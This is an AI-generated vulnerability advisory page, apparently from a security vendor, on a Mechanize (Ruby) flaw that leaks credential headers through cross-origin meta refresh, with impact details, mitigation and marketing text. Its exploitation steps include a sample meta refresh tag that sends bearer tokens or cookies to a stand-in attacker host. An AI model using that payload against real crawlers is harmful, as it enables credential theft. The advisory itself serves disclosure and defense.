Vulnerability DatabaseCVE-2026-107399

CVE-2026-107399: 
Ruby vulnerability analysis and mitigation

Overview

CVE-2026-107399 is a credential disclosure vulnerability in the Ruby Mechanize library (used for automating website interaction) where the library fails to enforce an origin trust boundary when following HTML meta refresh directives. Prior to version 2.14.1, Mechanize::HTTP::Agent#response_follow_meta_refresh re-applies all headers configured via Mechanize#request_headers= — including bearer tokens and session cookies — to requests targeting a different origin, effectively leaking credentials to attacker-controlled destinations. The vulnerability affects all Mechanize versions before 2.14.1 and was disclosed on August 23, 2026. It carries a CVSS v3.1 base score of 6.8 (Medium) (GitHub Advisory).

Technical details

The root cause is the absence of an origin check in Mechanize::HTTP::Agent#response_follow_meta_refresh, classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-522 (Insufficiently Protected Credentials), and CWE-201 (Insertion of Sensitive Information Into Sent Data). When Mechanize#follow_meta_refresh is enabled, the method fetches the meta refresh target URL with an empty per-request headers hash but then re-applies the agent-level @request_headers unconditionally — with no check for whether the target URL crosses an origin boundary (different scheme, host, or port). This contrasts with the existing HTTP redirect path, which already had protections to strip credential headers on cross-origin redirects. The fix (commit 84c74df) applies the #crosses_origin? check to the meta refresh path and ensures withheld credentials remain withheld for the entire operation (commit 02a1235) (GitHub PR #676, GitHub Advisory).

Impact

Successful exploitation results in the disclosure of caller-supplied credential headers — specifically bearer tokens and session cookies set via Mechanize#request_headers= — to an attacker-controlled origin. The impact is limited to confidentiality; there is no integrity or availability impact. The exposure is scoped to applications that have explicitly enabled follow_meta_refresh (disabled by default) and supply credentials through request_headers=, a pattern common in web crawlers and automated scraping tools (GitHub Advisory).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the disclosure date. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires the attacker to control or influence content fetched by a Mechanize agent with follow_meta_refresh enabled — achievable via stored content injection, open redirects, or control of any page in the crawl path. The non-default configuration requirement (follow_meta_refresh = true) significantly limits the attack surface (GitHub Advisory, Feedly).

Exploitation steps

  1. Identify a target: Locate a Ruby application using the Mechanize gem (versions < 2.14.1) with follow_meta_refresh = true enabled and credentials (e.g., Authorization: Bearer <token>) set via Mechanize#request_headers=.
  2. Gain content injection: Obtain the ability to place or influence content on any page the Mechanize agent fetches — through stored XSS/content injection, an open redirect on a crawled site, or direct control of a page in the crawl path.
  3. Inject a cross-origin meta refresh: Embed an HTML meta refresh tag pointing to an attacker-controlled server in the injected content, e.g., <meta http-equiv="refresh" content="0;url=https://attacker.example.com/capture">.
  4. Capture credentials: When the Mechanize agent fetches the page and processes the meta refresh, it follows the redirect to the attacker's server and re-applies the full @request_headers — including the Authorization bearer token or session cookie — to the cross-origin request, which the attacker's server logs.
  5. Exploit captured credentials: Use the captured bearer token or session cookie to authenticate to the target service as the Mechanize agent's configured identity (GitHub Advisory, GitHub PR #676).

Indicators of compromise

  • Network: Outbound HTTP/HTTPS requests from a Mechanize-based application to unexpected external domains, particularly following fetches of pages containing <meta http-equiv="refresh"> tags; Authorization or Cookie headers observed in requests to domains outside the intended crawl scope.
  • Logs: Application or web server logs showing the Mechanize user-agent making requests to cross-origin URLs immediately after fetching pages with meta refresh directives; access logs on attacker-controlled infrastructure showing inbound requests with Authorization: Bearer or Cookie headers from the victim application's IP.
  • File System / Application: Presence of Mechanize gem versions prior to 2.14.1 in Gemfile.lock or gem environment (gem list mechanize); application code with agent.follow_meta_refresh = true combined with agent.request_headers = { 'Authorization' => ... }.

Mitigation and workarounds

Upgrade the Mechanize gem to version 2.14.1 or later, which applies the same cross-origin credential-stripping rules to meta refresh directives as to HTTP redirects (Mechanize v2.14.1 Release). If immediate patching is not possible, set follow_meta_refresh = false (the default value) to disable meta refresh following entirely, or avoid passing credentials via Mechanize#request_headers= when meta refresh following is enabled. Review all Mechanize-based crawlers and agents in your environment to identify those with follow_meta_refresh enabled, as these represent the full attack surface (GitHub Advisory).

Community reactions

The vulnerability was reported and fixed by Mike Dalessio (flavorjones), the Mechanize maintainer, who also authored the advisory. The fix was part of a broader security release (v2.14.1) addressing three related credential-leakage issues (GHSA-2mwr-xjcg-37j7, GHSA-5jgv-wc2m-xv99, and GHSA-c6rp-p8xm-4q9f). Red Hat tracked the issue via Bugzilla (bug 2548278), indicating downstream package maintainers are aware and assessing impact (Red Hat CVE, GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related Ruby vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-67989HIGH7.5
  • Ruby logoRuby
  • ruby_llm
NoYesOct 02, 2026
CVE-2026-107715MEDIUM6.8
  • Ruby logoRuby
  • ruby-mechanize
NoYesOct 08, 2026
CVE-2026-107399MEDIUM6.8
  • Ruby logoRuby
  • mechanize
NoYesOct 08, 2026
CVE-2026-12545MEDIUM6.7
  • Ruby logoRuby
  • hammer_cli
NoYesOct 01, 2026
GHSA-mwm8-39rw-8826MEDIUM6.3
  • Ruby logoRuby
  • sqlite3
NoYesOct 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management